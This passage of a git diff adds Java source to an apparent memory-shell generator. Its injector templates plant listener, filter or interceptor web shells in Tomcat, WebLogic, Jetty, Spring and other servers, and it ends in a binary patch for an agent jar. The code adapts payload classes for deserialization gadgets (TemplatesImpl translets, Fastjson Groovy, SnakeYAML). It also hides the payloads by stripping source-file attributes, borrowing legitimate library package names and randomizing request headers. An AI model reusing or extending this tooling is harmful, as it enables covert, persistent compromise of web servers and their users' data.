+ byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = gzipInputStream.read(buffer)) != -1) { + outputStream.write(buffer, 0, bytesRead); + } + } + + return outputStream.toByteArray(); + } + + + public static byte[] getFileBytes(String file) throws Exception { + File f = new File(file); + int length = (int) f.length(); + byte[] data = new byte[length]; + (new FileInputStream(f)).read(data); + return data; + } + + + public static String getSimpleName(String className) { + int lastDotIndex = className.lastIndexOf("."); + if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { + return className.substring(lastDotIndex + 1); + } + return className; + } + + + public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) { + String file_output_path = null; + + String fileSeparator = File.separator; + File file = new File(output_path); + if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) { + output_path = file.getParent(); + + } + String[] parts = output_path.split(Pattern.quote(fileSeparator)); + boolean isFilePath = false; // 添加标记用于判断是否为文件路径 + for (String part : parts) { + if (part.contains(".")) { + isFilePath = true; + break; + } else { + if (!output_path.endsWith(fileSeparator)) { + output_path = output_path + fileSeparator; + } + } + } + + if (isFilePath) { // 如果是文件路径直接返回 + File parentDir = file.getParentFile(); + if (!parentDir.exists()) { + parentDir.mkdirs(); + } + return file.getAbsolutePath(); + } + + File dir = new File(output_path); + if (!dir.exists() || !dir.isDirectory()) { + dir.mkdirs(); + } + + // 判断输出格式 + switch (format_type) { + case Constants.FORMAT_CLASS: + file_output_path = output_path + class_simple_name + ".class"; + break; + case Constants.FORMAT_JAR: + case Constants.FORMAT_JAR_AGENT: + file_output_path = output_path + class_simple_name + ".jar"; + break; + case Constants.FORMAT_JSP: + file_output_path = output_path + class_simple_name + ".jsp"; + break; + default: + break; + } + return file_output_path; + } + + + public static void transformToFile(AbstractConfig config) throws Throwable { + config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath())); + jMGCodeApi codeApi = new jMGCodeApi(config); + FileUtil.writeFile(config.getSavePath(), codeApi.generate()); + } + + // base64/bcel/js/biginteger + public static String transformTotext(AbstractConfig config) throws Throwable { + jMGCodeApi codeApi = new jMGCodeApi(config); + return new String(codeApi.generate()); + } + + public static String getThrowableStackTrace(Throwable t) { + StringWriter stringWriter = new StringWriter(); + PrintWriter printWriter = new PrintWriter(stringWriter); + t.printStackTrace(printWriter); + return stringWriter.toString(); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java b/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java new file mode 100644 index 0000000..595b801 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java @@ -0,0 +1,67 @@ +package jmg.core.util; + +import javassist.ClassPool; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; + +/** + * 专项漏洞的处理 + */ +public class CtClassUtil { + private AbstractConfig config; + private ClassPool pool; + private CtClass ctClass; + + public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) { + this.config = config; + this.pool = pool; + this.ctClass = ctClass; + } + + + public byte[] modifyForExploitation() throws Exception { + if (config.getGadgetType() != null) { + if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) { + applyJDKAbstractTranslet(); + } + if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) { + applyXALANAbstractTranslet(); + } + + if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) { + applyFastjsonGroovyASTTransformation(); + } + if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) { + applySnakeYamlScriptEngineFactory(); + } + } + return ctClass.toBytecode(); + } + + + public void applyJDKAbstractTranslet() throws Exception { + JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + } + + public void applyXALANAbstractTranslet() { + try { + JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口 + public void applyFastjsonGroovyASTTransformation() throws Exception { + config.setImplementsASTTransformationType(true); + JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation"); + JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation"); + } + + // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口 + public void applySnakeYamlScriptEngineFactory() throws Exception { + config.setImplementsScriptEngineFactory(true); + JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory"); + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java new file mode 100644 index 0000000..4762f44 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java @@ -0,0 +1,108 @@ +package jmg.core.util; + + +import jmg.core.config.Constants; +import jmg.core.template.*; + +import java.util.HashMap; +import java.util.Map; + +public class InjectorUtil { + + private static final Map INJECTOR_CLASSNAME_MAP = new HashMap(); + private static final Map> classMap = new HashMap(); + + + public InjectorUtil() { + } + + public static String getInjectorName(String serverType, String shellType) { + Map injectorMap = (Map) classMap.get(serverType); + return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, ""); + } + + public static String getInjectorClassName(String injectorName) throws Exception { + if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) { + throw new Exception("Invalid injector type '" + injectorName + "'"); + } else { + return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, ""); + } + } + + static { + + + INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName()); + Map glassfishMap = new HashMap(); + glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector"); + glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector"); + classMap.put(Constants.SERVER_GLASSFISH, glassfishMap); + + INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName()); + Map jettyMap = new HashMap(); + jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector"); + jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector"); + classMap.put(Constants.SERVER_JETTY, jettyMap); + + + INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName()); + Map resinMap = new HashMap(); + resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector"); + resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector"); + classMap.put(Constants.SERVER_RESIN, resinMap); + + INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName()); + Map tomcatMap = new HashMap(); + tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector"); + tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector"); + classMap.put(Constants.SERVER_TOMCAT, tomcatMap); + + + INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName()); + Map undertowMap = new HashMap(); + undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector"); + undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector"); + classMap.put(Constants.SERVER_UNDERTOW, undertowMap); + + INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName()); + Map weblogicMap = new HashMap(); + weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector"); + weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector"); + classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap); + + INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName()); + Map websphereMap = new HashMap(); + websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector"); + websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector"); + classMap.put(Constants.SERVER_WEBSPHERE, websphereMap); + + INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName()); + Map jbossMap = new HashMap(); + jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector"); + jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector"); + classMap.put(Constants.SERVER_JBOSS, jbossMap); + + + INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName()); + Map springMVCMap = new HashMap(); + springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector"); + classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap); + + + INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName()); + Map springWebFluxMap = new HashMap(); + springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector"); + classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap); + + + + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java b/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java new file mode 100644 index 0000000..76881ed --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java @@ -0,0 +1,167 @@ +package jmg.core.util; + +import javassist.*; +import javassist.bytecode.*; +import javassist.bytecode.annotation.Annotation; + +import java.util.List; + +/** + * javassist 工具类 + */ +public class JavassistUtil { + + private static ClassPool pool = ClassPool.getDefault(); + + public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception { + ctClass.defrost(); + try { + // 已存在,修改 + CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); + ctMethod.setBody(methodBody); + } catch (NotFoundException ignored) { + // 不存在,直接添加 + CtMethod method = CtNewMethod.make(methodBody, ctClass); + ctClass.addMethod(method); + } + } + + + public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + ctClass.defrost(); + try { + // 已存在,删除 + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.PUBLIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + + } catch (NotFoundException ignored) { +// // 不存在,直接添加 +// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + ctClass.defrost(); + try { + // 已存在,删除 + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.PUBLIC); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + + } catch (NotFoundException ignored) { +// // 不存在,直接添加 +// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + + public static void extendClass(CtClass ctClass, String superClassName) throws Exception { + ctClass.defrost(); + CtClass interfaceClass = pool.makeClass(superClassName); + ctClass.setSuperclass(pool.get(interfaceClass.getName())); + } + + public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception { + ctClass.defrost(); + + CtClass interfaceClass = pool.makeInterface(interfaceClassName); + CtClass[] ctClasses = new CtClass[]{interfaceClass}; + ctClass.setInterfaces(ctClasses); + } + + + public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception { + ctClass.defrost(); + ClassFile classFile = ctClass.getClassFile(); + ConstPool constPool = classFile.getConstPool(); + AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag); + Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool); + clazzAnnotationsAttribute.setAnnotation(clazzAnnotation); + ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute); + } + + + // 删除内存马 SourceFileAttribute (源文件名) 信息 + public static void removeSourceFileAttribute(CtClass ctClass) { + ctClass.defrost(); + ClassFile classFile = ctClass.getClassFile2(); + + try { + // javassist.bytecode.ClassFile.removeAttribute Since: 3.21 + CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag}); + } catch (Exception e) { + try { + // 兼容 javassist v3.20 及以下 + List attributes = (List) CommonUtil.getFV(classFile, "attributes"); + removeAttribute(attributes, SourceFileAttribute.tag); + } catch (Exception ignored) { + } + } + } + + + public static synchronized AttributeInfo removeAttribute(List attributes, String name) { + if (attributes == null) return null; + + for (AttributeInfo ai : attributes) + if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai; + + return null; + } + + + public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + if (fieldValue != null) { + JavassistUtil.addField(ctClass, fieldName, fieldValue); + } + } + + public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + if (fieldValue != null) { + JavassistUtil.addStaticField(ctClass, fieldName, fieldValue); + } + } + + public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception { + if (className != null) { + ctClass.setName(className); + } + } + + public static String convertClassNameToFilePath(String className) { + return className.replace(".", "/"); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java b/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java new file mode 100644 index 0000000..ae61155 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java @@ -0,0 +1,30 @@ +package jmg.core.util; + +import java.util.Random; + +public class PackageNameUtil { + + private static final String[] packageNames = { + "org.springframework", + "org.apache.commons", + "org.apache.logging", + "org.apache", + "com.fasterxml.jackson", + "org.junit", + "org.apache.commons.lang", + "org.apache.http.client", + "com.google.gso", + "ch.qos.logback" + }; + + public static String generatePackageName() { + Random random = new Random(); + String packageName = packageNames[random.nextInt(packageNames.length)]; + return packageName; + } + + + public static String getRandomPackageName() { + return generatePackageName(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java b/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java new file mode 100644 index 0000000..3e13dc2 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java @@ -0,0 +1,37 @@ +package jmg.core.util; + +import java.util.AbstractMap; +import java.util.Map; +import java.util.Random; + + +public class RandomHttpHeaderUtil { + + private static final Random RANDOM = new Random(); + + public static Map.Entry generateHeader() { + String key = generateRandomKey(); + String value = generateRandomValue(key); + return new AbstractMap.SimpleEntry<>(key, value); + } + + private static String generateRandomKey() { + String[] keys = {"Referer","User-Agent"}; + return keys[RANDOM.nextInt(keys.length)]; + } + + private static String generateRandomValue(String key) { + switch (key) { + case "Referer": + case "User-Agent": + return generateRandomValue(); + default: + return ""; + } + } + + private static String generateRandomValue() { + return CommonUtil.genRandomLengthString(4); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java b/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java new file mode 100644 index 0000000..6319501 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java @@ -0,0 +1,75 @@ +package jmg.core.util; + +import java.util.HashMap; +import java.util.Map; + + +public class ResponseUtil { + + private static final Map METHOD_BODY_MAP = new HashMap<>(); + + static { + METHOD_BODY_MAP.put("tomcat", getCommonMethodBody()); + METHOD_BODY_MAP.put("weblogic", getCommonMethodBody()); + METHOD_BODY_MAP.put("glassfish", getCommonMethodBody()); + METHOD_BODY_MAP.put("resin", getResinMethodBody()); + METHOD_BODY_MAP.put("jetty", getJettyMethodBody()); + METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody()); + METHOD_BODY_MAP.put("undertow", getUndertowMethodBody()); + } + + public static String getMethodBody(String serverType) { + return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), ""); + } + + private static String getCommonMethodBody() { + return "{javax.servlet.http.HttpServletResponse response = null;" + + " try {" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" + + " } catch (Exception ex) {" + + " try {" + + " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" + + " } catch (Exception ex1) {" + + " }" + + " }" + + " return response;}"; + } + + private static String getResinMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;" + + " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" + + " return response;}"; + } + + private static String getJettyMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;\n" + + " try{\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" + + " }catch (Exception e){\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" + + " }\n" + + " return response;}"; + } + + private static String getWebsphereMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" + + " return response;}"; + } + + + private static String getUndertowMethodBody() { + return "{javax.servlet.http.HttpServletResponse response = null;\n" + + "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" + + "Object[] keys = map.keySet().toArray();\n" + + "for (int i = 0; i < keys.length; i++) {\n" + + " Object key = keys[i];\n" + + " if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" + + " break;\n" + + " }\n" + + "}\n" + + "return response;}"; + + } +} diff --git a/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java b/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java new file mode 100644 index 0000000..1e1a981 --- /dev/null +++ b/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java @@ -0,0 +1,4 @@ +package org.springframework.web.servlet; + +public interface AsyncHandlerInterceptor { +} diff --git a/jmg-core/src/main/resources/jmg-agent.jar b/jmg-core/src/main/resources/jmg-agent.jar new file mode 100644 index 0000000000000000000000000000000000000000..53b2a1169529196d546f0bad06a5a938e5344265 GIT binary patch literal 873107 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 